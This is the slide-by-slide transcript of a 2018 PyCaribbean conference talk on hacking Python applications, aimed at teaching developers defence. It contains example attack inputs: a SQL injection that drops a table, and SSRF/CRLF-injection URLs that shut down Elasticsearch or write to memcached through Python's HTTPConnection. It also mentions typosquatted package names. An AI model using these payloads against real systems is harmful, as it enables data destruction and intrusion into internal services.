How to hack a python app? @ PyCaribbean 2018

Transcript

1. how to hack a python app? @jawache PyCaribbean 2018
2. Asim Hussain @jawache codecraft.tv microsoft.com
4. #1
5. it can happen to you @jawache
6. @jawache #2
7. Vulnerability vs. Exploit
8. @jawache Photo by Kristina Flour on Unsplash 0 Day Exploit
9. @jawache Photo by Veri Ivanova on Unsplash 0 Day Exploit
11. @jawache
12. @jawache
13. @jawache
14. @jawache
15. "12 of top 50 data breaches were through known vulnerabilities" - snyk.io @jawache
16. @jawache
17. @jawache Photo by energepic.com from Pexels
18. @jawache
19. @jawache
20. @jawache #3
21. 'SELECT * FROM COMPANIES WHERE name =' + name; @jawache
22. SELECT * FROM COMPANIES WHERE name =; DROP TABLE "COMPANIES"; --LTD @jawache
23. @jawache
24. @jawache
25. @jawache Photo by Braydon Anderson on Unsplash
26. @jawache
27. #4 @orange_8361
28. git push http://example.com @jawache
29. git push http://localhost @jawache
30. http://0 @jawache git push
31. @jawache git push http://0:9200/_shutdown
32. def send_email(request): try: recipients = request.GET['to'].split(',') url = request.GET['url'] proto, server, path, query, frag = urlsplit(url) if query: path += '?' + query conn = HTTPConnection(server) conn.request('GET',path) resp = conn.getresponse() ... @jawache
33. http://0:8000/composer/send_email? to=orange@nogg& url=http://127.0.0.1:12345/foo @jawache
34. def send_email(request): try: recipients = request.GET['to'].split(',') url = request.GET['url'] proto, server, path, query, frag = urlsplit(url) if query: path += '?' + query conn = HTTPConnection(server) conn.request('GET',path) resp = conn.getresponse() ... @jawache
35. \r\n @jawache
36. %0D%0A @jawache
37. http://127.0.0.1:12345/%0D%0Ahello%0D%0AFoo: @jawache
38. GET /%0D%0Ahello%0D%0AFoo: HTTP/1.1 Host: 127.0.0.1:12345 Accept-Encoding: identity @jawache
39. GET /%0D%0Ahello%0D%0AFoo:\r\n HTTP/1.1\r\n Host: 127.0.0.1:12345\r\n Accept-Encoding: identity\r\n \r\n \r\n @jawache
40. @jawache GET /\r\n hello\r\n Foo: HTTP/1.1\r\n Host: 127.0.0.1:12345\r\n Accept-Encoding: identity\r\n \r\n \r\n
41. ...:11211/%0D%0Aset%20key%200%20900%204%20data%0D%0A @jawache
42. GET / set key 0 900 4 data HTTP/1.1 Host: 127.0.0.1:11211 Accept-Encoding: identity @jawache
43. GET / set key 0 900 4 data HTTP/1.1 Host: 127.0.0.1:11211 Accept-Encoding: identity @jawache
44. code code @jawache
45. code code @jawache
46. DeprecatedInstanceVariableProxy @jawache
47. @jawache
49. @jawache Photo by Kelly Sikkema on Unsplash
50. @jawache
51. @jawache pip install django-rest-framework pip install django-restframework pip install djangorestframework #5
52. urllib3 vs. urlib3 @jawache
53. @jawache
54. cross-env vs. crossenv @jawache
56. @jawache Photo by Jairo Alzate on Unsplash
57. pipenv @jawache
58. Update Don't assume Small vulnerability Don't trust anyone Everything Sanitise Fix @jawache
59. Asim Hussain @jawache codecraft.tv microsoft.com
60. aka.ms/jawache-asc @jawache more info...
61. How I Chained 4 vulnerabilities on GitHub Enterprise - Orange Tsai http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html CRLF injection vulnerability in the HTTPConnection https://www.cvedetails.com/cve/CVE-2016-5699/ Exploit DB https://www.exploit-db.com/ Metasploit https://www.metasploit.com/ The Equifax hack and how to protect your family — all explained in 5 minutes https://medium.freecodecamp.org/the-equifax-hack-and-how-to-protect-your-family-all-explained-in-5-minutes-a2b5187cb6c0 Oscar Bolmsten on Twitter https://twitter.com/o_cee/status/892306836199800836 Malicious packages in npm. Here’s what to do - Ivan Akulov https://iamakulov.com/notes/npm-malicious-packages/